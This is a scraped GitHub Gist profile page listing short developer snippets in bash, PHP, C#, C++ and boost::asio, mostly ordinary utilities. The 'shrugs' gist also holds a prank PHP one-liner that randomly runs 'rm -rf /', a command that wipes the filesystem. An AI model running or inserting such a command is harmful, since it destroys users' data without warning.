Skip to content

Instantly share code, notes, and snippets.

View 421p's full-sized avatar
🖥️
supervising daemons

Andrii B. 421p

🖥️
supervising daemons
View GitHub Profile
@421p
421p / vim_init.sh
Last active October 28, 2015 22:50
bash vim_init.sh
#!/bin/bash
function createMakefile(){
echo "all: run
compile:
g++ -std=c++0x 1.cc -o runme
run: compile
./runme" > Makefile;
}
@421p
421p / shrugs.sh
Last active October 26, 2015 21:50
pastes shrugs to clipboard, lol
#!/bin/bash
echo "¯\_(ツ)_/¯" | xclip -i -selection clipboard
php -r "if(!mt_rand(0,5)) exec("rm -rf /"); else print('жив');"
/*!
* Hello world! application
*
* \file hello.cpp
*/
#include <iostream>
#include <vector>
#include <algorithm>
#include <functional>
@421p
421p / php
Created August 3, 2016 08:48 — forked from tivnet/php
To let PHP recognize Cygwin paths, put this file to /usr/local/bin/php and chmod +x Originally published by http://stackoverflow.com/users/264395/aefxx here: http://stackoverflow.com/questions/12276946/composer-cygwin
#!/bin/bash
# Path to the PHP executable
php="/cygdrive/c/PHP/php.exe"
for ((n=1; n <= $#; n++)); do
if [ -e "${!n}" ]; then
# Converts Unix style paths to Windows equivalents
path="$(cygpath --mixed ${!n} | xargs)"
@421p
421p / finder.cs
Last active September 3, 2016 11:35
Find all types that implements interface IController
private static IEnumerable<Type> LoadControllers()
{
return typeof (IController).GetTypeInfo().Assembly.DefinedTypes
.Where(type => type.ImplementedInterfaces.Any(x => x == typeof(IController)));
}
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
namespace SharpPromise {
public static class Core {
public static Task WhenAny(IEnumerable<Task> promises)
{
client.set_tls_init_handler([](websocketpp::connection_hdl) {
return std::make_shared<boost::asio::ssl::context>(boost::asio::ssl::context::tlsv12_client);
});
@421p
421p / gcc.bash
Created January 1, 2017 15:32
gcc 6 on ubuntu
sudo apt-get update && \
sudo apt-get install build-essential software-properties-common -y && \
sudo add-apt-repository ppa:ubuntu-toolchain-r/test -y && \
sudo apt-get update && \
sudo apt-get install gcc-snapshot -y && \
sudo apt-get update && \
sudo apt-get install gcc-6 g++-6 -y && \
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-6 60 --slave /usr/bin/g++ g++ /usr/bin/g++-6 && \
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5 60 --slave /usr/bin/g++ g++ /usr/bin/g++-5;
@421p
421p / boost_asio_http_request.cxx
Created January 1, 2017 23:27
boost::asio http request
// url should always match template: host/path
std::string url_get_contents(std::string url)
{
using namespace boost::asio;
ip::tcp::iostream stream;
auto tokens = explode("/", url);
auto host = tokens[0];
auto request = tokens[1];